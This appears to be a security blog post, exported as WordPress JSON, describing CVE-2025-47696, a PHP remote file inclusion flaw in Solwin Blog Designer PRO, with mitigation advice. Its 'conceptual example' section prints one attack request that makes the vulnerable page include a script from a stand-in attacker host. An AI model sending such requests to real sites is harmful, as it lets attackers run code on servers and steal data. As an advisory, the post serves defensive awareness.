{"id":73040,"date":"2025-09-08T14:18:36","date_gmt":"2025-09-08T14:18:36","guid":{"rendered":""},"modified":"2025-10-03T12:33:17","modified_gmt":"2025-10-03T18:33:17","slug":"cve-2025-47696-high-risk-php-remote-file-inclusion-vulnerability-in-solwin-blog-designer-pro","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-47696-high-risk-php-remote-file-inclusion-vulnerability-in-solwin-blog-designer-pro\/","title":{"rendered":"<strong>CVE-2025-47696: High-Risk PHP Remote File Inclusion Vulnerability in Solwin Blog Designer PRO<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures system (CVE) has recently identified a critical flaw labeled as CVE-2025-47696. This vulnerability is an Improper Control of Filename for Include\/Require Statement in PHP Program, commonly known as &#8216;PHP Remote File Inclusion&#8217; vulnerability. It specifically affects the Solwin Blog Designer PRO, a widely used blog design platform. The impact of this vulnerability is severe, with a CVSS Severity Score of 8.1, indicating the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80821\">potential for system compromise<\/a> or data leakage.<br \/>\nThe importance of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58280-object-heap-address-exposure-vulnerability-in-ark-ets\/\"  data-wpil-monitor-id=\"87247\">addressing this vulnerability<\/a> cannot be overstated. Given that Solwin Blog Designer PRO is used by a wide range of bloggers, businesses, and organizations, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22404-potential-system-compromise-due-to-use-after-free-vulnerability\/\"  data-wpil-monitor-id=\"85604\">potential for data compromise<\/a> is substantial. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53577-critical-code-injection-vulnerability-in-hp-global-dns\/\"  data-wpil-monitor-id=\"80793\">vulnerability could allow an attacker to inject malicious PHP code<\/a> into the server, leading to unauthorized access, data theft, or even system compromise.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-47696<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-45134-critical-vulnerability-in-mahara-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"82934\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1919120703\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Solwin Blog Designer PRO | Up to and including 3.4.7<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-47696 exploit takes advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27689-dell-idrac-tools-improper-access-control-vulnerability\/\"  data-wpil-monitor-id=\"81474\">improper control<\/a> of filename for include\/require statement in PHP program present in Solwin Blog Designer PRO. In other words, the software does not properly restrict the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81092\">files that may be included or required by a PHP<\/a> script. This vulnerability allows an attacker to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80790\">file from a remote server that contains malicious PHP<\/a> code. Once this code is executed on the server, it can lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49707-unauthorized-access-and-spoofing-vulnerability-in-azure-virtual-machines\/\"  data-wpil-monitor-id=\"80795\">unauthorized access<\/a>, data theft, or even total system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1760761563\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Consider the following conceptual example. An attacker might send a specially crafted HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49382-cross-site-request-forgery-vulnerability-in-jobzilla-wordpress-theme\/\"  data-wpil-monitor-id=\"81156\">request to a vulnerable<\/a> endpoint, like so:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, `http:\/\/attacker.com\/malicious_script.txt` is a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7390-malicious-client-bypass-of-opc-https-server-certificate-trust-check\/\"  data-wpil-monitor-id=\"81867\">malicious PHP script hosted on the attacker&#8217;s server<\/a>. If the server includes this file and executes its content, the attacker could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48860-exploiting-backup-archives-to-gain-remote-access-in-ctrlx-os\/\"  data-wpil-monitor-id=\"81406\">gain unauthorized access<\/a> to the system or potentially compromise it entirely.<br \/>\nTo mitigate this vulnerability, it is recommended to apply the vendor patch or use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Regularly updating software and maintaining good <a href=\"https:\/\/www.ameeba.com\/blog\/introducing-the-ameeba-cybersecurity-group-chat\/\"  data-wpil-monitor-id=\"88526\">cybersecurity<\/a> hygiene can also help protect against such vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures system (CVE) has recently identified a critical flaw labeled as CVE-2025-47696. This vulnerability is an Improper Control of Filename for Include\/Require Statement in PHP Program, commonly known as &#8216;PHP Remote File Inclusion&#8217; vulnerability. It specifically affects the Solwin Blog Designer PRO, a widely used blog design platform. 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